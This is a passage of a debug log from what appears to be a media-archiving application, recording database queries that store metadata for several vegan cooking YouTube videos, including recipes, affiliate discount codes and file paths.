Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\n🪴 My Indoor Hydroponic Garden\nIndoor Garden Works 🌱 10% off an iHarvest\nCode: STEAMYVEGAN\n🔗: https://igworks.com/products/iharvest...\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "What I Eat in a Day! Super Easy Vegan Recipes Under 20 Mins", "65eba118-7011-4313-a8ac-66808f733d5e", 1, [], false, "5BjZiLDKplQ", "https://www.youtube.com/watch?v=5BjZiLDKplQ", 139, "/downloads/downloads/alec/Steamy Vegan/2024-11-24 What I Eat in a Day! Super Easy Vegan Recipes Under 20 Mins/What I Eat in a Day! Super Easy Vegan Recipes Under 20 Mins [5BjZiLDKplQ].NA", false, false, false, 1, ~U[2024-11-24 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "In this what I eat in a day I was super busy with putting up my Christmas tree, running around doing a few errands, working out, and honestly I just needed some easy vegan recipes that I could do in under 20 minutes. Most of these easy vegan recipes actually used products that I bought at Trader Joe's and should help you out with the holidays!\n\nRECIPES:\nChickpea mash\n1 can chickpeas\n2 tbsp tahini\n2 tbsp lemon juice\n1 tbsp dijon mustard\n2 cloves garlic\npinch of chili flakes\nhandful of spinach\nsalt and pepper\n\nMiso Tahini Garlic Butter ➡️ \u00A0\u00A0\u00A0•\u00A04\u00A0Ingredient,\u00A010\u00A0Minute\u00A0Vegan\u00A0Recipes\u00A0For\u00A0...\u00A0\u00A0\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGANKITCHEN30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\n🪴 My Indoor Hydroponic Garden\nIndoor Garden Works 🌱 10% off an iHarvest\nCode: STEAMYVEGAN\n🔗: https://igworks.com/products/iharvest...\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "What I Eat in a Day! Super Easy Vegan Recipes Under 20 Mins", 1, nil, false, "5BjZiLDKplQ", "https://www.youtube.com/watch?v=5BjZiLDKplQ", "/downloads/downloads/alec/Steamy Vegan/2024-11-24 What I Eat in a Day! Super Easy Vegan Recipes Under 20 Mins/What I Eat in a Day! Super Easy Vegan Recipes Under 20 Mins [5BjZiLDKplQ].NA", false, ~U[2024-11-24 00:00:00Z]] 20:31:07.109 [debug] QUERY OK source="sources" db=1.0ms queue=0.1ms idle=11.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.112 [debug] QUERY OK source="media_items" db=2.3ms idle=10.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-11-21 00:00:00Z], 1] 20:31:07.115 [debug] QUERY OK source="media_items" db=1.5ms idle=11.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this Trader Joe's vegan grocery haul I bought a bunch of Fall and Winter inspired vegan groceries and grabbed a few of my fave TJs groceries. See what I buy for vegan and gluten-free groceries and I'll count down my top 5 must-buy vegan groceries in this Trader Joe's grocery haul!\n\nCHECK OUT MY FULL 'GROCERY HAULS' PLAYLIST ➡️ \u00A0\u00A0\u00A0•\u00A0GROCERY\u00A0HAULS\u00A0🛒\u00A0\u00A0\n\nCHECK OUT MY FULL 'WHAT I EAT IN A DAY PLAYLIST' ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGAN30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\n🪴 My Indoor Hydroponic Garden\nIndoor Garden Works 🌱 10% off an iHarvest\nCode: STEAMYVEGAN\n🔗: https://igworks.com/products/iharvest...\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Trader Joe's Vegan and Gluten-Free Grocery Haul + My Top 5 Fave TJs Groceries", "130d476c-a527-43fc-9011-9c7a1ecf6013", 1, [], false, "TIYTpb67yRs", "https://www.youtube.com/watch?v=TIYTpb67yRs", 140, "/downloads/downloads/alec/Steamy Vegan/2024-11-21 Trader Joe's Vegan and Gluten-Free Grocery Haul + My Top 5 Fave TJs Groceries/Trader Joe's Vegan and Gluten-Free Grocery Haul + My Top 5 Fave TJs Groceries [TIYTpb67yRs].NA", false, false, false, 1, ~U[2024-11-21 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "In this Trader Joe's vegan grocery haul I bought a bunch of Fall and Winter inspired vegan groceries and grabbed a few of my fave TJs groceries. See what I buy for vegan and gluten-free groceries and I'll count down my top 5 must-buy vegan groceries in this Trader Joe's grocery haul!\n\nCHECK OUT MY FULL 'GROCERY HAULS' PLAYLIST ➡️ \u00A0\u00A0\u00A0•\u00A0GROCERY\u00A0HAULS\u00A0🛒\u00A0\u00A0\n\nCHECK OUT MY FULL 'WHAT I EAT IN A DAY PLAYLIST' ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGAN30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\n🪴 My Indoor Hydroponic Garden\nIndoor Garden Works 🌱 10% off an iHarvest\nCode: STEAMYVEGAN\n🔗: https://igworks.com/products/iharvest...\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Trader Joe's Vegan and Gluten-Free Grocery Haul + My Top 5 Fave TJs Groceries", 1, nil, false, "TIYTpb67yRs", "https://www.youtube.com/watch?v=TIYTpb67yRs", "/downloads/downloads/alec/Steamy Vegan/2024-11-21 Trader Joe's Vegan and Gluten-Free Grocery Haul + My Top 5 Fave TJs Groceries/Trader Joe's Vegan and Gluten-Free Grocery Haul + My Top 5 Fave TJs Groceries [TIYTpb67yRs].NA", false, ~U[2024-11-21 00:00:00Z]] 20:31:07.117 [debug] QUERY OK source="sources" db=1.7ms idle=10.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.119 [debug] QUERY OK source="media_items" db=2.3ms idle=9.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-11-17 00:00:00Z], 1] 20:31:07.122 [debug] QUERY OK source="media_items" db=2.3ms idle=10.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this what I eat in a day I'll show you 5 typcial high-protein vegan recipes that I eat in a day to reach 100g of protein! I'll even show you what I eat in a day as a high-protein vegan dessert and everything should come under 2000 calories to help with weight loss and muscle gain.\n\nI've tried quite a few plant-based protein powders and some are pretty bad but my 2 faves are from Complement Supplements and GoodProtein. I've connected with both companies to get the Steamy Vegan community discounts on these. Check them out below!\n\n💪🏼 My Fave Protein Powders\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGAN30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nWatch more of my 'WHAT I EAT IN A DAY' videos here ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\nBLUEBERRY CHIA JAM -- Recipe on my blog: https://steamyvegan.com/chia-jam/\n\nSMASHED EDAMAME TOAST\n2 slices bread\nMiso tahini garlic butter (recipe in this video ➡️ \u00A0\u00A0\u00A0•\u00A04\u00A0Ingredient,\u00A010\u00A0Minute\u00A0Vegan\u00A0Recipes\u00A0For\u00A0...\u00A0\u00A0)\n1 cup frozen shelled edamame, thawed in warm water\n½ tbsp soy sauce or tamari\n1 tbsp tahini\n½ tbsp rice vinegar\n½ tsp garlic powder\nPinch of red chili flakes (optional)\n\nToast your bread until golden. Combine all remaining ingredients in a food processor until mashed and spreadable, adjust seasonings to taste. Spread a thick layer of the smashed edamame on the toast, garnish with chopped green onion, sriracha and sesame seeds and ENJOY! 😋\n\nLASAGNA SOUP (more 5 ingredient recipes here ➡️ \u00A0\u00A0\u00A0•\u00A05\u00A0Ingredient\u00A0Recipes!\u00A0Vegan,\u00A0Gluten-Free\u00A0O...\u00A0\u00A0)\n1 jar Pasta sauce\n6 Lasagna noodles (133 g), broken into pieces\n1.5 cups Red lentils, drained and rinsed\n1 medium onion, chopped\n4 cloves garlic, minced\n6 cups hot water or veggie broth\nsalt, pepper to taste\nOptional: 2 tsp Italian seasoning, vegan cheese to garnish\n\nSauté the onion and garlic in a large saucepan for a few minutes until translucent and fragrant. Add all remaining ingredients, stir to combine, cover and bring to a boil, then bring to medium-low and simmer for 12 to 15 minutes, until the lentils are soft and the noodles are al dente.\n\nCHICKPEA BLONDIES (serves 10, 250 cal, 9g protein)\n6 medjool dates, soaked in hot water\n1 can chickpeas (245g)\n¼ cup hazelnut butter\n¼ cup pumpkin purée\n¼ cup almond flour\n6 tbsp soy milk\n½ cup choc chips, some reserved for topping\n1½ scoops Good Protein Salted Caramel protein powder \u202A@goodprotein6261\u202C \n\nPreheat oven to 350°F. Combine all ingredients minus choc chips in a food processor and blend until smooth like brownie batter. Pour into lined and lightly oiled 9x9 baking dish (or loaf pan) and smooth into an even layer. Top with extra choc chips and bake for 25 to 30 mins if using 9x9, or bake for 45 minutes if using loaf tin. Let cool before slicing.\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGANKITCHEN30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\n🪴 My Indoor Hydroponic Garden\nIndoor Garden Works 🌱 10% off an iHarvest\nCode: STEAMYVEGAN\n🔗: https://igworks.com/products/iharvest...\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "What I Eat in a Day! 100g of High-Protein Vegan Recipes", "329bd8b2-0282-4a6d-bd6d-71d282ea421a", 1, [], false, "XsSfD3OL09Q", "https://www.youtube.com/watch?v=XsSfD3OL09Q", 141, "/downloads/downloads/alec/Steamy Vegan/2024-11-17 What I Eat in a Day! 100g of High-Protein Vegan Recipes/What I Eat in a Day! 100g of High-Protein Vegan Recipes [XsSfD3OL09Q].NA", false, false, false, 1, ~U[2024-11-17 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "In this what I eat in a day I'll show you 5 typcial high-protein vegan recipes that I eat in a day to reach 100g of protein! I'll even show you what I eat in a day as a high-protein vegan dessert and everything should come under 2000 calories to help with weight loss and muscle gain.\n\nI've tried quite a few plant-based protein powders and some are pretty bad but my 2 faves are from Complement Supplements and GoodProtein. I've connected with both companies to get the Steamy Vegan community discounts on these. Check them out below!\n\n💪🏼 My Fave Protein Powders\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGAN30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nWatch more of my 'WHAT I EAT IN A DAY' videos here ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\nBLUEBERRY CHIA JAM -- Recipe on my blog: https://steamyvegan.com/chia-jam/\n\nSMASHED EDAMAME TOAST\n2 slices bread\nMiso tahini garlic butter (recipe in this video ➡️ \u00A0\u00A0\u00A0•\u00A04\u00A0Ingredient,\u00A010\u00A0Minute\u00A0Vegan\u00A0Recipes\u00A0For\u00A0...\u00A0\u00A0)\n1 cup frozen shelled edamame, thawed in warm water\n½ tbsp soy sauce or tamari\n1 tbsp tahini\n½ tbsp rice vinegar\n½ tsp garlic powder\nPinch of red chili flakes (optional)\n\nToast your bread until golden. Combine all remaining ingredients in a food processor until mashed and spreadable, adjust seasonings to taste. Spread a thick layer of the smashed edamame on the toast, garnish with chopped green onion, sriracha and sesame seeds and ENJOY! 😋\n\nLASAGNA SOUP (more 5 ingredient recipes here ➡️ \u00A0\u00A0\u00A0•\u00A05\u00A0Ingredient\u00A0Recipes!\u00A0Vegan,\u00A0Gluten-Free\u00A0O...\u00A0\u00A0)\n1 jar Pasta sauce\n6 Lasagna noodles (133 g), broken into pieces\n1.5 cups Red lentils, drained and rinsed\n1 medium onion, chopped\n4 cloves garlic, minced\n6 cups hot water or veggie broth\nsalt, pepper to taste\nOptional: 2 tsp Italian seasoning, vegan cheese to garnish\n\nSauté the onion and garlic in a large saucepan for a few minutes until translucent and fragrant. Add all remaining ingredients, stir to combine, cover and bring to a boil, then bring to medium-low and simmer for 12 to 15 minutes, until the lentils are soft and the noodles are al dente.\n\nCHICKPEA BLONDIES (serves 10, 250 cal, 9g protein)\n6 medjool dates, soaked in hot water\n1 can chickpeas (245g)\n¼ cup hazelnut butter\n¼ cup pumpkin pu (truncated) 20:31:07.124 [debug] QUERY OK source="sources" db=0.6ms idle=11.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.127 [debug] QUERY OK source="media_items" db=2.3ms idle=10.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-11-14 00:00:00Z], 1] 20:31:07.137 [debug] QUERY OK source="media_items" db=9.8ms idle=10.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This easy vegan meal prep comes together in under 2 hours, has 4 vegan recipes, and will provide you with a week of healthy vegan recipes! I love Hawaiian food as there are so many vegan recipes that are perfect for healthy meal prep: Hawaiian fried rice, BBQ soy curls, crispy garlic tempeh, and my fave Hawaiian macaroni salad!\n\nGet all the recipes on my blog in this post here! ➡️ https://www.steamyvegan.com/hawaiian-...\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGANKITCHEN30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\n🪴 My Indoor Hydroponic Garden\nIndoor Garden Works 🌱 10% off an iHarvest\nCode: STEAMYVEGAN\n🔗: https://igworks.com/products/iharvest...\n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nTimestamps\n0:00 - Introduction\n1:00 - Hawaiian Fried Rice Casserole\n3:47 - Crispy Hawaiian Garlic Tempeh\n9:38 - Hawaiian BBQ Soy Curls or Tofu\n15:50 - Hawaiian Macaroni Salad", "Hawaiian Vegan Meal Prep! 4 Vegan Recipes, Week of Vegan Food! FREE PDF", "88ffec3e-fa19-43f7-b8b4-af5f96a9bff0", 1, [], false, "awdCp5K7blA", "https://www.youtube.com/watch?v=awdCp5K7blA", 142, "/downloads/downloads/alec/Steamy Vegan/2024-11-14 Hawaiian Vegan Meal Prep! 4 Vegan Recipes, Week of Vegan Food! FREE PDF/Hawaiian Vegan Meal Prep! 4 Vegan Recipes, Week of Vegan Food! FREE PDF [awdCp5K7blA].NA", false, false, false, 1, ~U[2024-11-14 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "This easy vegan meal prep comes together in under 2 hours, has 4 vegan recipes, and will provide you with a week of healthy vegan recipes! I love Hawaiian food as there are so many vegan recipes that are perfect for healthy meal prep: Hawaiian fried rice, BBQ soy curls, crispy garlic tempeh, and my fave Hawaiian macaroni salad!\n\nGet all the recipes on my blog in this post here! ➡️ https://www.steamyvegan.com/hawaiian-...\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGANKITCHEN30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\n🪴 My Indoor Hydroponic Garden\nIndoor Garden Works 🌱 10% off an iHarvest\nCode: STEAMYVEGAN\n🔗: https://igworks.com/products/iharvest...\n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nTimestamps\n0:00 - Introduction\n1:00 - Hawaiian Fried Rice Casserole\n3:47 - Crispy Hawaiian Garlic Tempeh\n9:38 - Hawaiian BBQ Soy Curls or Tofu\n15:50 - Hawaiian Macaroni Salad", "Hawaiian Vegan Meal Prep! 4 Vegan Recipes, Week of Vegan Food! FREE PDF", 1, nil, false, "awdCp5K7blA", "https://www.youtube.com/watch?v=awdCp5K7blA", "/downloads/downloads/alec/Steamy Vegan/2024-11-14 Hawaiian Vegan Meal Prep! 4 Vegan Recipes, Week of Vegan Food! FREE PDF/Hawaiian Vegan Meal Prep! 4 Vegan Recipes, Week of Vegan Food! FREE PDF [awdCp5K7blA].NA", false, ~U[2024-11-14 00:00:00Z]] 20:31:07.138 [debug] QUERY OK source="sources" db=0.6ms idle=18.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.142 [debug] QUERY OK source="media_items" db=2.9ms idle=16.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-11-10 00:00:00Z], 1] 20:31:07.145 [debug] QUERY OK source="media_items" db=2.8ms idle=18.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["These protein cookies are dairy-free, egg-free, gluten-free, and my favourite vegan recipe right now! If you're looking for a high-protein cookie recipe that's vegan, and gluten-free then you'll love these mint chocolate protein cookies. I also love using Complement Chocolate flavored protein powder in this recipe. Discount codes below 👇🏻\n\nMINT CHOCOLATE CHIP & CHAI PUMPKIN PECAN PROTEIN COOKIE RECIPES IN THIS BLOG POST HERE ➡️ https://steamyvegan.com/fudgy-protein...\n\nI've tried quite a few plant-based protein powders and some are pretty bad but my 2 faves are from Complement Supplements and GoodProtein. I've connected with both companies to get the Steamy Vegan community discounts on these. Check them out below!\n\n💪🏼 My Fave Protein Powders\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\n💪🏼 My Fave Protein Bars to Buy - WellBean Protein Bars 💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "The BEST Protein Cookies (dairy-free and gluten-free recipe)", "5697de5d-2836-4813-aa61-f7d173aa1f4f", 1, [], false, "9lK6QGsxlII", "https://www.youtube.com/watch?v=9lK6QGsxlII", 143, "/downloads/downloads/alec/Steamy Vegan/2024-11-10 The BEST Protein Cookies (dairy-free and gluten-free recipe)/The BEST Protein Cookies (dairy-free and gluten-free recipe) [9lK6QGsxlII].NA", false, false, false, 1, ~U[2024-11-10 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "These protein cookies are dairy-free, egg-free, gluten-free, and my favourite vegan recipe right now! If you're looking for a high-protein cookie recipe that's vegan, and gluten-free then you'll love these mint chocolate protein cookies. I also love using Complement Chocolate flavored protein powder in this recipe. Discount codes below 👇🏻\n\nMINT CHOCOLATE CHIP & CHAI PUMPKIN PECAN PROTEIN COOKIE RECIPES IN THIS BLOG POST HERE ➡️ https://steamyvegan.com/fudgy-protein...\n\nI've tried quite a few plant-based protein powders and some are pretty bad but my 2 faves are from Complement Supplements and GoodProtein. I've connected with both companies to get the Steamy Vegan community discounts on these. Check them out below!\n\n💪🏼 My 